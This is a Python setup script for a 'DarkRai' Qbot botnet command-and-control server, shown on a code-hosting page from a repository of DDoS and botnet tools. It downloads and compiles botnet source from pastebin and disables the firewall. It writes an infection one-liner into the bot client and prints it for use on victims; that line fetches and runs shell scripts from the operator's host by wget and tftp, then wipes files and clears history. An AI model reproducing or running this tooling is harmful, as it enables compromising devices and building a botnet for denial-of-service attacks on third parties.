Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Auto Setup Qbot/Darkraii AutoSetup.py
5038 views
1
import subprocess
2
3
def cri(cmd):
4
subprocess.call(cmd, shell=True)
5
def replace_line(file_name, line_num, text):
6
lines = open(file_name, 'r').readlines()
7
lines[line_num] = text
8
out = open(file_name, 'w')
9
out.writelines(lines)
10
out.close()
11
12
print'\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I '
13
print'\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II '
14
print'\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III '
15
print'\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III '
16
print'\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III '
17
print'\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III '
18
print'\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III '
19
print'\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III '
20
print'\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III '
21
print'\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III '
22
print'\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III '
23
print'\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III '
24
print'\x1b[34m AA RR RR KK KK RR RR AA II '
25
print'\x1b[34m A R R K K R R A I '
26
print'\x1b[1;37m[\x1b[34mDarkRai\x1b[1;37m] \x1b[1;37mCnC AutoSetup \nDeveloped By \x1b[0;31mFlexingOnLamers\x1b[1;37m/\x1b[0;31mCri '
27
28
ip = raw_input("\x1b[1;37mEnter Your Server IP:\x1b[1;35m")
29
user = raw_input("\x1b[1;37mEnter Desired Username:\x1b[1;35m")
30
passw = raw_input("\x1b[1;37mEnter Desired Password:\x1b[1;35m")
31
bport = raw_input("\x1b[1;37mEnter Desired BotPort:\x1b[0;31m")
32
port = raw_input("\x1b[1;37mEnter The Port You Want to screen on:\x1b[1;35m")
33
34
print '\x1b[1;35mInstalling Needed Dependencies..\x1b[1;37m'
35
cri('yum update -y')
36
cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y;')
37
cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')
38
cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')
39
cri('yum install epel-release -y')
40
cri('yum install gengetopt -y')
41
cri('wget -q https://pastebin.com/raw/zgtwniBk -O darkrai.c')
42
cri('gcc -o darkrai darkrai.c -pthread')
43
cri('wget -q https://pastebin.com/raw/idY5wpEu -O client.c')
44
cri('wget -q https://pastebin.com/raw/Ne69fRpz -O cc7.py')
45
cri('service iptabes stop')
46
cri('service httpd restart')
47
cri('systemctl stop firewalld')
48
cri('httpd -k restart')
49
cri('httpd -krestart')
50
cri('pkill screen')
51
52
replace_line('client.c', 859, 'unsigned char *AllDemDupes[] = { "'+ ip +':'+ bport +'" };\n')
53
replace_line('client.c', 861, 'char *infect = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://'+ ip +'/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp '+ ip +' -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g '+ ip +'; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *;history -c\r\n";\n')
54
cri("echo "+ user +" "+ passw +" >> login.txt")
55
cri("python cc7.py client.c "+ ip + "")
56
cri("screen ./darkrai "+ bport +" 1 "+ port +"")
57
print '\x1b[1;37mWget/CHARLINE Below!'
58
print '\x1b[1;35mcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://'+ ip +'/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp '+ ip +' -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g '+ ip +'; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *'
59
print '\x1b[1;37mThank you for using the \x1b[1;37m[\x1b[0;31mDarkRai\x1b[1;37m] \x1b[1;37mCnC AutoSetup \n\x1b[0;31mPastebin\x1b[1;37m:\x1b[1;36mhttps://pastebin.com/u/flexingonlamers \n\x1b[0;31mGithub\x1b[1;37m:\x1b[1;36mhttps://github.com/AgentCri/ \n\x1b[0;31mEmail\x1b[1;37m:\x1b[1;[email protected] \n\x1b[0;31mDiscord\x1b[1;37m:\x1b[1;36mCri#4614'
60